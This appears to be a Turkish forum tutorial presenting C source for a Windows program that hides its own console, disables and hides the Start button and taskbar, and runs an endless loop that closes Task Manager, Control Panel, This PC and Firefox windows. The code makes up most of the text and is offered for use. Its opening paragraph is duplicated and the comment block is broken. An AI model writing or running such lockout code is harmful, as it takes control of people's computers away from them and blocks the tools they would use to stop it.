öncelikle HWND değişkeninini açıklayalım
HWND: Her pencerenin bir numarası vardır işte bu değişkenleo pencerenin numarasını tutar.
şimdi programdan bahsedelim programı derlediğimizde programımız gizlenir ve başlat menüsü, görev çubuğuna tıklanmaz ve gizlenirler ayrıca görev yöneticisi'ni açamaya kalktığınızda direk açılır açılmaz kapanır
-> Eğer görev çubuğu ve başlat menüsünü tekrar görünür(aktif) yapmak istiyorsanız kontrol değişkenini 1 yapınız
HWND: Her pencerenin bir numarası vardır işte bu değişkenleo pencerenin numarasını tutar.
şimdi programdan bahsedelim programı derlediğimizde programımız gizlenir ve başlat menüsü, görev çubuğuna tıklanmaz ve gizlenirler ayrıca görev yöneticisi'ni açamaya kalktığınızda direk açılır açılmaz kapanır
-> Eğer görev çubuğu ve başlat menüsünü tekrar görünür(aktif) yapmak istiyorsanız kontrol değişkenini 1 yapınız
Kod:
-Görev Yöneticisi Açılamaz
-Başlat Menüsü Gizlenir
-Başlat Menüsünün Yetkileri Kalkar
-Görev Çubuğu Gizlenir
-Görev Çubuğunun Yetkileri Kalkar
*/
#include <windows.h>//pencere, windows değişkenleri kısacası window API'sini kullanmak için kütüphanemizi tanımlıyoruz
int Gizlen()//Gizlen fonksiyonumuz:
{
AllocConsole();
ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);//Dos ekranımızı gizliyorruz 0 olursa gizlenir, 1 olursa gizlenmez
}
int main()
{
int kontrol=0;
Gizlen();//Gizlen fonksiyonumuzu çalıştırıyoruz
HWND mozilla,GorevY,GorevY2,PC,CP,CP2;//değişkenlerimizi tanımlıyoruz
HWND hGorevCubugu,hBaslat;//değişkenlerimizi tanımlıyoruz
hGorevCubugu = FindWindow("Shell_TrayWnd",NULL);//Araç Çubuğunu hGorevCubugu değişkenine atanıyor
hBaslat = FindWindowEx(GetDesktopWindow(),NULL,"Button","Başlat");//Başlat butonu hBaslat değişkenine atanıyor
EnableWindow(hBaslat,kontrol);//0 olduğu zaman hBaslat yani Başlat Menüsü'nün yetkileri kalkacak(tıklanamayacak)
EnableWindow(hGorevCubugu,kontrol);//0 olduğu zaman hGorevCubugu yani Görev Çubuğu'nun yetkileri kalkacak(tıklanamayacak)
while(1)//sonsuz döngüye alıyoruz
{
mozilla = FindWindowEx(0,0,"MozillaUIWindowClass",0);//Mozilla Firefox'u mozilla değişkenine atıyoruz aşağıdaki FindWindow
//fonksiyonlarıdaaynı bu şekide değişkenlere atanıyor
GorevY = FindWindow(NULL,"Task Manager");
GorevY2 = FindWindow(NULL,"Windows Görev Yöneticisi");
PC = FindWindow(NULL, "This PC");
CP = FindWindow(NULL,"Control Panel");
CP2 = FindWindow(NULL,"Kontrol Paneli");
PostMessage(GorevY,WM_CLOSE,(LPARAM)0,(WPARAM)0);//GorevY değişeninine yani Görev Yöneticisi' ne 0 yani Kapat komutu gönderiliyor
//aşağıdakilerde aynı şekide
PostMessage(mozilla,WM_CLOSE,(LPARAM)0,(WPARAM)0);
PostMessage(GorevY2,WM_CLOSE,(LPARAM)0,(WPARAM)0);
PostMessage(PC,WM_CLOSE,(LPARAM)0,(WPARAM)0);
PostMessage(CP,WM_CLOSE,(LPARAM)0,(WPARAM)0);
PostMessage(CP2,WM_CLOSE,(LPARAM)0,(WPARAM)0);
ShowWindow(hBaslat,kontrol);/*hBaslat değişkeni yani Başlat Menüsü'nü
1 olursa açık kalır,0 olursa kapanır*/
ShowWindow(hGorevCubugu,kontrol);/*hGorevCubugu değişkeni yani Görev Çubuğunu
1 olursa açık kalır,0 olursa kapanır*/
}
return 0;
}